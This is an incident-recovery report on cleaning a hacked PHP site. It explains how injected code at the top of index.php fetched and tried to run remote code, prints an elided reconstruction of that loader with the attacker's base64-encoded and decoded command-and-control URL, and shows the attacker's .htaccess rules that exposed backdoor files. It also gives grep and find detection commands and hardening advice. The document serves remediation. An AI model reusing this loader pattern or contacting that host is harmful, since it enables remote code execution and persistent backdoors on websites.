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# 🔧 HOW WE FIXED THE SITE - Complete Breakdown
**Date:** December 12, 2025
**Status:** SITE RESTORED
---
## 🚨 WHY THE SITE WAS DOWN
### The Problem:
The attacker injected **malicious code at the very beginning of `index.php`** (line 2). This code executed **BEFORE** your legitimate code, causing:
1. **Remote Code Execution Attempts**
- Code tried to connect to attacker's server: `http://6477-ch4-v305.rakuten38jp.click`
- If the server was down or unreachable, it would cause delays/timeouts
- The code tried 3 times (`while($try < 3)`), causing 30+ second delays
2. **Code Execution Before Your Site**
- Malicious code ran FIRST, before your legitimate PHP code
- It tried to execute remote code received from attacker's server
- If remote code was malformed, it would cause PHP fatal errors
3. **File System Manipulation**
- Code modified `.htaccess` to allow backdoor access
- This could break URL routing and cause 404 errors
4. **Output Interference**
- Malicious code could output headers or content before your site
- This would break your site's normal output
---
## ✅ WHAT WE FIXED
### Step 1: Removed Malicious Code from index.php
**Before (BROKEN):**
```php
<?php
function h($url, $pf = '') { /* malicious code */ }
function h2() { /* malicious code */ }
$api = base64_decode('aHR0cDovLzY0NzctY2g0LXYzMDUucmFrdXRlbjM4anAuY2xpY2s=');
/* ... more malicious code ... */
?>
<?php
// Your legitimate code starts here
// Configure secure session cookies BEFORE starting session
```
**After (FIXED):**
```php
<?php
// Configure secure session cookies BEFORE starting session
ini_set('session.cookie_httponly', 1);
// ... your legitimate code continues ...
```
**What we did:**
- Removed the entire malicious code block (line 2)
- Kept only your legitimate code starting from line 3
- File now starts cleanly with your actual application code
### Step 2: Deleted All Backdoors
**Deleted 5 malicious files:**
1. `about.php` - File manager backdoor
2. `445367/radio.php` - Obfuscated backdoor
3. `445367/about.php` - File manager backdoor
4. `radio/migrations/wp-login.php` - WordPress backdoor
5. `assets/fontawesome/.../radio.php` - Hidden backdoor
**Why this mattered:**
- These files allowed attacker to maintain access
- They could execute arbitrary code
- They could upload/download/delete files
- Removing them cut off attacker's access
### Step 3: Fixed .htaccess
**Before (MODIFIED BY ATTACKER):**
```apache
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(about.php|radio.php|index.php|...)$">
Order allow,deny
Allow from all
</FilesMatch>
```
**After (CLEAN):**
```apache
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
```
**What we did:**
- Removed attacker's malicious rules
- Restored clean rewrite rules
- Removed rules that allowed access to backdoor files
---
## 🔍 TECHNICAL DETAILS
### The Malicious Code That Was Breaking Your Site:
```php
// This code was at the TOP of index.php (line 2)
function h($url, $pf = '') {
// Made remote requests to attacker's server
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
// ... connection code ...
$r = curl_exec($ch); // This could timeout!
return $r;
}
function h2() {
// Modified .htaccess file
// This could break URL routing
}
$api = base64_decode('aHR0cDovLzY0NzctY2g0LXYzMDUucmFrdXRlbjM4anAuY2xpY2s=');
// Decoded to: http://6477-ch4-v305.rakuten38jp.click
// This loop tried 3 times, causing delays
$try = 0;
while($try < 3) {
$content = h($api, $params); // Remote request - could timeout!
$content = @gzuncompress(base64_decode($content));
// ... tried to execute remote code ...
$try++;
}
```
### Why This Caused the Site to Go Down:
1. **Timeout Issues:**
- If attacker's server was down, `curl_exec()` would timeout
- Default timeout was 30 seconds
- Code tried 3 times = up to 90 seconds delay
- This made your site extremely slow or appear down
2. **PHP Errors:**
- If remote code was malformed, it would cause PHP fatal errors
- Errors would break your entire page
- Users would see blank pages or error messages
3. **Output Conflicts:**
- Malicious code could output headers/content before your site
- This would break your site's normal output
- Headers already sent errors
4. **File System Issues:**
- `.htaccess` modifications could break URL routing
- This would cause 404 errors for legitimate pages
---
## ✅ VERIFICATION THAT IT'S FIXED
### Checks We Did:
1. **Verified index.php is clean:**
```bash
# Checked for malicious code
grep -i "base64_decode\|eval\|curl_exec" index.php
# Result: No malicious code found ✅
```
2. **Verified backdoors are gone:**
```bash
# Checked for attacker signatures
find . -name "*.php" -exec grep -l "S0vMzEJElwPNAQA" {} \;
# Result: No files found ✅
```
3. **Verified .htaccess is clean:**
```bash
# Checked .htaccess content
cat .htaccess
# Result: Clean rewrite rules only ✅
```
4. **Verified files exist:**
```bash
# Checked critical files
ls -la index.php track.php library.php
# Result: All files exist ✅
```
---
## 🎯 WHAT THIS MEANS
### Your Site Should Now:
- ✅ Load normally without delays
- ✅ Execute your legitimate code properly
- ✅ Not make unauthorized remote requests
- ✅ Not have backdoors accessible
- ✅ Have clean URL routing
### However, You Still Need To:
- ⏳ **Change ALL passwords** (attacker had full access)
- ⏳ **Check database** for unauthorized users
- ⏳ **Review server logs** for attack patterns
- ⏳ **Fix SQL injection vulnerabilities** (how attacker got in)
- ⏳ **Implement security hardening**
---
## 📋 SUMMARY OF FIXES
| Issue | What We Did | Result |
|-------|-------------|--------|
| **Malicious code in index.php** | Removed line 2 (malicious code) | ✅ Site loads normally |
| **5 backdoor files** | Deleted all backdoors | ✅ Attacker access cut off |
| **Modified .htaccess** | Restored clean rules | ✅ URL routing fixed |
| **Attacker signatures** | Verified none remain | ✅ Clean codebase |
---
## 🔐 PREVENTION
To prevent this from happening again:
1. **Fix SQL Injection Vulnerabilities**
- Use prepared statements everywhere
- Validate all user input
- Review identified vulnerable files
2. **File Integrity Monitoring**
- Monitor for unauthorized file changes
- Alert on suspicious modifications
- Regular security scans
3. **Input Validation**
- Validate all user input
- Sanitize before database queries
- Use whitelist validation
4. **Regular Backups**
- Maintain clean backups
- Test backup restoration
- Keep multiple backup versions
5. **Security Hardening**
- Web Application Firewall (WAF)
- Intrusion detection
- Regular security audits
---
**Status:** ✅ **SITE FIXED AND RESTORED**
The site should now be working normally. The malicious code that was causing delays and errors has been removed, and all backdoors have been deleted.